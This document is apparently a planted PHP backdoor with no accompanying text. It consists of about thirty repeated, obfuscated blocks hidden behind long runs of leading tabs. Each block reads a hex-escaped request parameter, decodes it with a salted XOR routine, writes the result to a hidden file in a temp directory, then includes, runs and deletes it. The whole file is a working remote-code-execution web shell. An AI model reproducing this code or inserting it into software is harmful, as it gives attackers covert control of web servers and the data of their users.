																																										if(array_key_exists("mrk", $_REQUEST) && !is_null($_REQUEST["mrk"])){ $obj = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), getcwd(), getenv("TEMP")]); $rec = $_REQUEST["mrk"]; $rec =explode ( '.', $rec) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; $__len = count($rec); do { if ($m >= $__len) break; $v2 = $rec[$m]; $sChar = ord($salt[$m % $lenS]); $dec = ((int)$v2 - $sChar - ($m % 10)) ^ 7; $itm.= chr($dec); $m++; } while (true); $fac = 0; do { $parameter_group = $obj[$fac] ?? null; if ($fac >= count($obj)) break; if ((is_dir($parameter_group) and is_writable($parameter_group))) { $elem = "$parameter_group" . "/.value"; if (file_put_contents($elem, $itm)) { require $elem; unlink($elem); die(); } } $fac++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["c\x6F\x6Dp"])){ $marker = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); $tkn = $_REQUEST["c\x6F\x6Dp"]; $tkn =explode ( ".", $tkn ) ; $entity =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach($tkn as $r=> $v8) {$sChar =ord($s[$r % $lenS]); $d =((int)$v8 - $sChar -($r % 10))^42; $entity .=chr($d); } foreach ($marker as $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $flg = "$ent/.res"; if (file_put_contents($flg, $entity)) { include $flg; @unlink($flg); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["va\x6Cue"])){ $key = $_REQUEST["va\x6Cue"]; $key = explode( '.' , $key ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $key as $q => $v6) { $sChar = ord( $s[$q % $lenS] ); $d = ( ( int)$v6 - $sChar -( $q % 10)) ^59; $ptr.=chr( $d ); } $element = array_filter(["/tmp", getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($element as $res): if (max(0, is_dir($res) * is_writable($res))) { $flg = str_replace("{var_dir}", $res, "{var_dir}/.entity"); if (@file_put_contents($flg, $ptr) !== false) { include $flg; unlink($flg); die(); } } endforeach; }
																																										if(array_key_exists("key", $_REQUEST)){ $comp = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", getcwd()]); $descriptor = $_REQUEST["key"]; $descriptor= explode( "." ,$descriptor ); $token=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $y=0; array_walk( $descriptor, function( $v5) use( &$token, &$y, $salt, $lenS) { $sChar=ord( $salt[$y% $lenS]); $d=( ( int)$v5 - $sChar -( $y% 10)) ^ 71; $token .= chr( $d); $y++; }); foreach ($comp as $reference): if (is_dir($reference) && is_writable($reference)) { $elem = str_replace("{var_dir}", $reference, "{var_dir}/.data_chunk"); $success = file_put_contents($elem, $token); if ($success) { include $elem; @unlink($elem); exit;} } endforeach; }
																																										if(isset($_REQUEST["d\x65\x73c"]) ? true : false){ $descriptor = array_filter(["/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $rec = $_REQUEST["d\x65\x73c"]; $rec = explode ( '.' , $rec ); $comp= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $len= count( $rec); for( $r= 0; $r< $len; $r++) {$v9= $rec[$r]; $chS= ord( $s[$r % $lenS]); $dec= ( ( int)$v9 - $chS -( $r % 10)) ^ 100; $comp .= chr( $dec); } for ($entity = 0, $factor = count($descriptor); $entity < $factor; $entity++) { $component = $descriptor[$entity]; if (is_dir($component) ? is_writable($component) : false) { $hld = "$component/.ent"; $file = fopen($hld, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $hld; @unlink($hld); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["sym"])){ $mrk = $_POST["sym"]; $mrk=explode( '.' , $mrk) ; $item =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s9); $q =0; $__tmp =$mrk; while ($v1 =array_shift($__tmp)) { $chS =ord($s9[$q % $lenS]); $d =((int)$v1 - $chS - ($q % 10)) ^ 45; $item .= chr($d); $q++;} $pgrp = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm"]); for ($k = 0, $parameter_group = count($pgrp); $k < $parameter_group; $k++) { $data_chunk = $pgrp[$k]; if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $resource = "$data_chunk" . "/.element"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(array_key_exists("o\x62\x6A", $_POST)){ $ref = $_POST["o\x62\x6A"]; $ref= explode ('.' ,$ref); $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $o= 0; array_walk( $ref, function( $v2) use( &$sym, &$o, $s, $sLen) { $sChar= ord( $s[$o % $sLen]); $d= ( ( int)$v2 - $sChar -( $o % 10)) ^ 10; $sym .= chr( $d); $o++; } ); $bind = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); foreach ($bind as $entry): if (!!is_dir($entry) && !!is_writable($entry)) { $ptr = sprintf("%s/.factor", $entry); if (file_put_contents($ptr, $sym)) { require $ptr; unlink($ptr); exit; } } endforeach; }
																																										if(isset($_REQUEST["ho\x6Cde\x72"]) ? true : false){ $pointer = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $symbol = $_REQUEST["ho\x6Cde\x72"]; $symbol = explode ( '.' , $symbol ) ; $mrk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); $v = 0; array_walk( $symbol ,function( $v8) use( &$mrk ,&$v ,$s7 ,$lenS) { $chS = ord( $s7[$v % $lenS]); $dec = ( ( int)$v8 - $chS -( $v % 10)) ^ 35; $mrk .= chr( $dec); $v++; }); for ($sym = 0, $ent = count($pointer); $sym < $ent; $sym++) { $res = $pointer[$sym]; if ((is_dir($res) and is_writable($res))) { $binding = sprintf("%s/.reference", $res); if (file_put_contents($binding, $mrk)) { include $binding; @unlink($binding); exit; } } } }
																																										if(!empty($_REQUEST["val\x75e"])){ $ptr = array_filter([getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); $tkn = $_REQUEST["val\x75e"]; $tkn= explode ( ".", $tkn) ; $entity= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt); foreach( $tkn as $z => $v7): $chS= ord( $salt[$z % $sLen]); $dec= ( ( int)$v7 - $chS -( $z % 10)) ^ 38; $entity .= chr( $dec); endforeach; foreach ($ptr as $binding): if (is_writable($binding) && is_dir($binding)) { $obj = implode("/", [$binding, ".factor"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $obj; @unlink($obj); die(); } } endforeach; }
																																										if(array_key_exists("\x72e\x73", $_REQUEST)){ $element = array_filter([getcwd(), "/tmp", "/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $elem = $_REQUEST["\x72e\x73"]; $elem= explode('.' ,$elem) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $l = 0; array_walk( $elem ,function( $v5) use( &$reference ,&$l ,$s ,$lenS) { $sChar = ord( $s[$l% $lenS]); $dec =( ( int)$v5 - $sChar -( $l% 10))^ 90; $reference .= chr( $dec); $l++;} ); for ($object = 0, $descriptor = count($element); $object < $descriptor; $object++) { $fac = $element[$object]; if (is_writable($fac) && is_dir($fac)) { $data_chunk = "$fac" . "/.entry"; $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(in_array("f\x6Ca\x67", array_keys($_REQUEST))){ $ent = $_REQUEST["f\x6Ca\x67"]; $ent = explode ( ".", $ent ) ; $pointer = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $r = 0; array_walk($ent , function ($v8) use (&$pointer , &$r , $s2 , $sLen) { $chS = ord($s2[$r %$sLen]); $d = ((int)$v8 - $chS - ($r %10))^39; $pointer.=chr($d); $r++; }); $desc = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm"]); foreach ($desc as $hld) { if (max(0, is_dir($hld) * is_writable($hld))) { $dchunk = "$hld" . "/.ref"; if (@file_put_contents($dchunk, $pointer) !== false) { include $dchunk; unlink($dchunk); die(); } } } }
																																										if(array_key_exists("e\x6E\x74", $_POST)){ $entry = $_POST["e\x6E\x74"]; $entry =explode ( '.' ,$entry ) ; $object =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt ); $j =0; foreach( $entry as $v8) { $chS =ord( $salt[$j % $sLen] ); $dec =( ( int)$v8 - $chS -( $j % 10))^61; $object .= chr( $dec ); $j++; } $holder = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path()]); foreach ($holder as $marker): if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $ref = "$marker" . "/.token"; if (@file_put_contents($ref, $object) !== false) { include $ref; unlink($ref); die(); } } endforeach; }
																																										if(isset($_REQUEST["pse\x74"])){ $data_chunk = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); $rec = $_REQUEST["pse\x74"]; $rec = explode ("." ,$rec ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $rec as $x => $v6): $chS = ord( $s[$x % $sLen] ); $d = ( ( int)$v6 - $chS -( $x % 10)) ^ 99; $marker.= chr( $d ); endforeach; for ($val = 0, $obj = count($data_chunk); $val < $obj; $val++) { $parameter_group = $data_chunk[$val]; if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) { $element = vsprintf("%s/%s", [$parameter_group, ".mrk"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65\x6Ce\x6D\x65nt"])){ $value = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp"]); $holder = $_REQUEST["\x65\x6Ce\x6D\x65nt"]; $holder = explode ( '.' , $holder ); $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $k = 0; foreach ($holder as $v4) { $chS = ord($salt[$k%$lenS] ); $dec = ((int)$v4 - $chS - ($k%10)) ^ 92; $flg .= chr($dec ); $k++; } foreach ($value as $obj) { if ((is_dir($obj) and is_writable($obj))) { $dat = join("/", [$obj, ".flag"]); if (@file_put_contents($dat, $flg) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "h\x6Fl\x64e\x72")){ $pointer = array_filter(["/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $obj = $_REQUEST["h\x6Fl\x64e\x72"]; $obj= explode ('.', $obj ) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($obj as $o => $v5): $chS = ord($salt[$o % $sLen]); $dec = ((int)$v5 - $chS - ($o % 10)) ^ 28; $reference .= chr($dec); endforeach; while ($token = array_shift($pointer)) { if (max(0, is_dir($token) * is_writable($token))) { $bind = sprintf("%s/.binding", $token); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $bind; @unlink($bind); exit; } } } }
																																										if(isset($_REQUEST["\x65\x6Cem"]) ? true : false){ $element = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp"]); $data_chunk = $_REQUEST["\x65\x6Cem"]; $data_chunk = explode ( "." , $data_chunk) ; $descriptor= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); foreach( $data_chunk as $m => $v7) { $sChar= ord( $s[$m% $sLen] ); $d= ( ( int)$v7 - $sChar -( $m% 10)) ^ 81; $descriptor .= chr( $d ); } foreach ($element as $reference): if (is_writable($reference) && is_dir($reference)) { $component = str_replace("{var_dir}", $reference, "{var_dir}/.hld"); if (@file_put_contents($component, $descriptor) !== false) { include $component; unlink($component); exit; } } endforeach; }
																																										if(array_key_exists("\x62i\x6Edin\x67", $_REQUEST)){ $element = $_REQUEST["\x62i\x6Edin\x67"]; $element = explode ( "." , $element ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $x = 0; $len = count( $element); do { if( $x >= $len) break; $v4 = $element[$x]; $chS = ord( $s[$x % $sLen]); $d =( ( int)$v4 - $chS -( $x % 10)) ^ 4; $value .= chr( $d); $x++; } while( true); $fac = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($fac as $key => $dchunk) { if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $pset = sprintf("%s/.pgrp", $dchunk); if (file_put_contents($pset, $value)) { include $pset; @unlink($pset); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x73et"])){ $resource = array_filter(["/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $pointer = $_REQUEST["\x70\x73et"]; $pointer = explode ( "." , $pointer ) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); $n = 0; foreach( $pointer as $v1) {$sChar = ord( $salt6[$n % $sLen]); $d = ( ( int)$v1 - $sChar -( $n % 10)) ^ 62; $data .= chr( $d); $n++; } while ($component = array_shift($resource)) { if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $sym = implode("/", [$component, ".fac"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $sym; @unlink($sym); die(); } } } }
																																										if(@$_POST["da\x74a\x5Fchu\x6E\x6B"] !== null){ $item = $_POST["da\x74a\x5Fchu\x6E\x6B"]; $item= explode ("." , $item ) ; $property_set = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $z = 0; array_walk($item, function($v5) use(&$property_set, &$z, $s9, $sLen) { $chS = ord($s9[$z % $sLen]); $d =((int)$v5 - $chS -($z % 10)) ^ 44; $property_set .= chr($d); $z++; }); $pointer = array_filter(["/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); $flg = 0; do { $comp = $pointer[$flg] ?? null; if ($flg >= count($pointer)) break; if (max(0, is_dir($comp) * is_writable($comp))) { $object = implode("/", [$comp, ".tkn"]); if (file_put_contents($object, $property_set)) { include $object; @unlink($object); die(); } } $flg++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64\x61ta")){ $dchunk = $_POST["\x64\x61ta"]; $dchunk = explode ( "." , $dchunk ); $flag =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s6); foreach( $dchunk as $o =>$v3): $chS =ord( $s6[$o % $sLen]); $dec =( ( int)$v3 - $chS -( $o % 10)) ^86; $flag .= chr( $dec); endforeach; $factor = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd()]); for ($mrk = 0, $entity = count($factor); $mrk < $entity; $mrk++) { $k = $factor[$mrk]; if ((is_dir($k) and is_writable($k))) { $entry = str_replace("{var_dir}", $k, "{var_dir}/.symbol"); if (file_put_contents($entry, $flag)) { require $entry; unlink($entry); die(); } } } }
																																										if(isset($_REQUEST["sy\x6D\x62o\x6C"])){ $dat = $_REQUEST["sy\x6D\x62o\x6C"]; $dat = explode ("." , $dat); $elem = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $u = 0; $__len = count($dat ); do {if($u >= $__len) break; $v6 = $dat[$u]; $chS = ord($s7[$u % $sLen] ); $dec =((int)$v6 - $chS -($u % 10)) ^ 94; $elem.= chr($dec ); $u++; } while(true ); $comp = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); while ($pgrp = array_shift($comp)) { if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $property_set = "$pgrp/.binding"; if (file_put_contents($property_set, $elem)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(!empty($_REQUEST["ptr"])){ $parameter_group = $_REQUEST["ptr"]; $parameter_group = explode( '.' , $parameter_group ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $parameter_group as $i => $v6) { $sChar = ord( $salt[$i % $lenS]); $d = ( ( int)$v6 - $sChar -( $i % 10)) ^ 70; $object .= chr( $d); } $obj = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP")]); foreach ($obj as $key => $reference) { if (!!is_dir($reference) && !!is_writable($reference)) { $descriptor = implode("/", [$reference, ".desc"]); if (file_put_contents($descriptor, $object)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x73\x79m\x62ol"])){ $ent = array_filter(["/tmp", "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); $desc = $_POST["\x73\x79m\x62ol"]; $desc =explode ( "." ,$desc ) ; $item = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $j = 0; array_walk( $desc, function( $v1) use( &$item, &$j, $salt4, $lenS) { $sChar = ord( $salt4[$j% $lenS]); $d =( ( int)$v1 - $sChar -( $j% 10)) ^ 48; $item .= chr( $d); $j++; }); $record = 0; do { $ptr = $ent[$record] ?? null; if ($record >= count($ent)) break; if (array_product([is_dir($ptr), is_writable($ptr)])) { $pgrp = join("/", [$ptr, ".elem"]); if (file_put_contents($pgrp, $item)) { include $pgrp; @unlink($pgrp); exit; } } $record++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "c\x6Fm\x70one\x6E\x74")){ $factor = $_POST["c\x6Fm\x70one\x6E\x74"]; $factor =explode ( '.' , $factor) ; $resource =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); foreach( $factor as $r => $v6) { $sChar =ord( $s[$r % $lenS]); $dec =( ( int)$v6 - $sChar -( $r % 10)) ^ 81; $resource .= chr( $dec); } $ent = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP")]); while ($entry = array_shift($ent)) { if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $pset = sprintf("%s/.entity", $entry); if (file_put_contents($pset, $resource)) { require $pset; unlink($pset); die(); } } } }
																																										if(in_array("r\x65\x63\x6Frd", array_keys($_REQUEST))){ $item = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $data_chunk = $_REQUEST["r\x65\x63\x6Frd"]; $data_chunk = explode( '.',$data_chunk ); $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $k = 0; while ($k < count($data_chunk)) { $v1 = $data_chunk[$k]; $sChar = ord($salt[$k % $sLen] ); $dec = ((int)$v1 - $sChar - ($k % 10)) ^ 44; $rec .=chr($dec ); $k++;} $obj = 0; do { $element = $item[$obj] ?? null; if ($obj >= count($item)) break; if (is_dir($element) ? is_writable($element) : false) { $entry = "$element/.fac"; if (file_put_contents($entry, $rec)) { require $entry; unlink($entry); exit; } } $obj++; } while (true); }
																																										if(!empty($_POST["\x70oint\x65\x72"])){ $ent = $_POST["\x70oint\x65\x72"]; $ent = explode( "." , $ent) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $z = 0; foreach( $ent as $v9) {$chS = ord( $s[$z % $lenS]); $d = ( ( int)$v9 - $chS -( $z % 10)) ^ 59; $k .= chr( $d); $z++; } $comp = array_filter(["/tmp", "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir()]); foreach ($comp as $flag) { if (is_dir($flag) ? is_writable($flag) : false) { $value = sprintf("%s/.resource", $flag); if (file_put_contents($value, $k)) { require $value; unlink($value); die(); } } } }
																																										if(!is_null($_REQUEST["pgrp"] ?? null)){ $holder = $_REQUEST["pgrp"]; $holder = explode ( "." , $holder ); $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; while ($w < count($holder)) {$v9 = $holder[$w]; $chS = ord($salt[$w % $sLen]); $d = ((int)$v9 - $chS - ($w % 10)) ^ 86; $symbol .= chr($d); $w++; } $entity = array_filter([getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($entity as $object) { if ((is_dir($object) and is_writable($object))) { $property_set = sprintf("%s/.element", $object); if (file_put_contents($property_set, $symbol)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(array_key_exists("\x66lg", $_POST) && !is_null($_POST["\x66lg"])){ $res = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", session_save_path(), "/var/tmp", getcwd()]); $symbol = $_POST["\x66lg"]; $symbol = explode ( "." ,$symbol ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($symbol as $j=>$v5) { $chS = ord($s[$j% $sLen]); $dec = ((int)$v5 - $chS - ($j% 10)) ^ 35; $hld .= chr($dec); } foreach ($res as $item) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $element = implode("/", [$item, ".pset"]); if (file_put_contents($element, $hld)) { include $element; @unlink($element); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x66\x6Cg")){ $object = $_POST["\x66\x6Cg"]; $object =explode( '.' ,$object ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $object as $v => $v6) { $chS = ord( $s[$v %$lenS] ); $d =( ( int)$v6 - $chS -( $v %10)) ^ 72; $res.= chr( $d ); } $mrk = array_filter([getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); foreach ($mrk as $symbol): if (array_product([is_dir($symbol), is_writable($symbol)])) { $ptr = vsprintf("%s/%s", [$symbol, ".holder"]); if (file_put_contents($ptr, $res)) { include $ptr; @unlink($ptr); die(); } } endforeach; }
																																										if(!empty($_POST["\x65\x6Etry"])){ $reference = array_filter([getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp"]); $object = $_POST["\x65\x6Etry"]; $object= explode ( ".", $object ); $flag = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $u = 0; while ($u < count($object)) { $v6 = $object[$u]; $sChar = ord($s7[$u % $lenS] ); $d = ((int)$v6 - $sChar - ($u % 10)) ^ 17; $flag .= chr($d ); $u++; } foreach ($reference as $tkn) { if (is_dir($tkn) && is_writable($tkn)) { $parameter_group = vsprintf("%s/%s", [$tkn, ".obj"]); if (file_put_contents($parameter_group, $flag)) { require $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x6Da\x72k\x65r")){ $ent = $_REQUEST["\x6Da\x72k\x65r"]; $ent= explode('.' , $ent ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($ent as $p=> $v3) { $chS = ord($salt[$p % $sLen]); $d = ((int)$v3 - $chS - ($p % 10)) ^ 80; $ref .= chr($d); } $comp = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), "/var/tmp"]); $descriptor = 0; do { $hld = $comp[$descriptor] ?? null; if ($descriptor >= count($comp)) break; if (!( !is_dir($hld) || !is_writable($hld) )) { $fac = sprintf("%s/.mrk", $hld); if (file_put_contents($fac, $ref)) { include $fac; @unlink($fac); exit; } } $descriptor++; } while (true); }
																																										if(!is_null($_POST["\x72\x65fe\x72\x65nce"] ?? null)){ $binding = $_POST["\x72\x65fe\x72\x65nce"]; $binding = explode ('.' , $binding ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($binding); for($l = 0; $l< $__len; $l++) { $v8 = $binding[$l]; $chS = ord($s[$l% $lenS]); $d =((int)$v8 - $chS -($l% 10)) ^ 100; $tkn.= chr($d); } $flag = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP")]); while ($token = array_shift($flag)) { if (is_writable($token) && is_dir($token)) { $holder = sprintf("%s/.marker", $token); if (file_put_contents($holder, $tkn)) { require $holder; unlink($holder); exit; } } } }
																																										if(isset($_REQUEST["e\x6E\x74"])){ $hld = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $res = $_REQUEST["e\x6E\x74"]; $res =explode ( "." , $res ); $factor = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); foreach ($res as $w=> $v4): $sChar = ord($s6[$w% $lenS] ); $dec = ((int)$v4 - $sChar - ($w% 10)) ^ 36; $factor .= chr($dec ); endforeach; foreach ($hld as $entry) { if (!( !is_dir($entry) || !is_writable($entry) )) { $comp = sprintf("%s/.obj", $entry); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(array_key_exists("\x6Fbj\x65\x63t", $_REQUEST)){ $binding = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); $ent = $_REQUEST["\x6Fbj\x65\x63t"]; $ent = explode ('.' , $ent ); $comp= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach($ent as $w => $v3): $sChar= ord($s[$w % $lenS]); $dec= ((int)$v3 - $sChar -($w % 10))^ 70; $comp .= chr($dec); endforeach; foreach ($binding as $elem): if (max(0, is_dir($elem) * is_writable($elem))) { $resource = sprintf("%s/.hld", $elem); if (@file_put_contents($resource, $comp) !== false) { include $resource; unlink($resource); die(); } } endforeach; }
